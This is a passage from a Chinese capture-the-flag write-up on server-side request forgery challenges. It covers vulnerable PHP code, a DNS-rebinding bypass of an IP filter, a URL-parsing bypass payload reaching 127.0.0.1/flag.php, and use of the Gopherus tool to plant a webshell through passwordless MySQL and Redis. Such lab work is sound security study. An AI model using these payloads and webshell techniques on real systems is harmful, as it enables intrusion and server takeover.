    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $x=parse_url($url);
    if($x['scheme']==='http'||$x['scheme']==='https'){
    $ip = gethostbyname($x['host']);
    echo '
    '
    .$ip.'
    '
    ; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
     FILTER_VALIDATE_IP 要求值是合法的 IP
     FILTER_FLAG_NO_PRIV_RANGE 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
     FILTER_FLAG_NO_RES_RANGE 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
    
    • 1
    • 2
    • 3

    这里的话其实就是要求用一个公网ip,不能用私网ip
    这里的话可以用https://lock.cmpxchg8b.com/rebinder.html来构造DNS重绑定
    在这里插入图片描述
    然后作为host赋值给url即可
    在这里插入图片描述

    0X04

    
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $x=parse_url($url);
    if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
        echo file_get_contents($url);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    可以看到的话就是这里要求http开头,中间是.ctf,然后中间可以写内容,最后以show结尾
    这个时候我们就可以利用刚刚的思路,来构造url

    url=http://ctf.@127.0.0.1/flag.php#show
    
    • 1

    在这里插入图片描述

    Gopher协议实战

    打无密码的mysql

    进入靶场是一个登录界面
    在这里插入图片描述

    提示了是无密码的mysql,那就尝试利用gopher工具来打

    python2 gopherus.py --exploit mysql
    
    • 1

    用户名为root,内容为一句话木马即可
    在这里插入图片描述
    而后我们看这道题
    在这里插入图片描述
    源代码中的returl应该就是突破口,我们随便输入一个进入check.php界面,此时将刚刚得到的payload进行url编码后赋值给returl即可,此时访问1.php
    在这里插入图片描述
    在这里插入图片描述

    绝对路径写webshell实战

    题目提示

    打redis

    代码

    
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo ($result);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    提示了打redis,那思路就比较明显了,可以利用工具打然后直接赋值,这里手动操作一下

    设置本地数据库存放目录
    在这里插入图片描述
    写一句话木马
    在这里插入图片描述
    但此时的回显不是ok,说明可能被过滤了,这里换成十六进制绕过
    在这里插入图片描述
    设置文件名
    在这里插入图片描述
    在这里插入图片描述
    访问
    在这里插入图片描述
    获取flag
    在这里插入图片描述

    参考文献

    《从0到1 CTFer成长之路》
    https://xz.aliyun.com/t/7333#toc-0
    https://xz.aliyun.com/t/5665#toc-0
    https://cloud.tencent.com/developer/article/1437452
    https://www.cnblogs.com/wjrblogs/p/14456190.html
    https://www.cnblogs.com/bmjoker/p/9548962.html
    https://www.freebuf.com/articles/web/333318.html
    SSRF-Lab环境搭建

  • 相关阅读:
    go学习之接口知识
    Ubuntu22.04系统 Cgroup v2 切换成v1
    SpringBoot+Redis+Lua
    ​GOPS演讲 | 如何构建现代运营与支持体系,实现团队的高效协同
    AlmaLinux正开发成为不包含RHEL代码但兼容RHEL的发行版本
    PX4基本配置
    浅谈高斯消元法
    ABB 控制柜
    线上展厅功能要点
    基于web的招标投标系统的设计与实现-计算机毕业设计源码+LW文档
  • 原文地址:https://blog.csdn.net/Reme_mber/article/details/125581479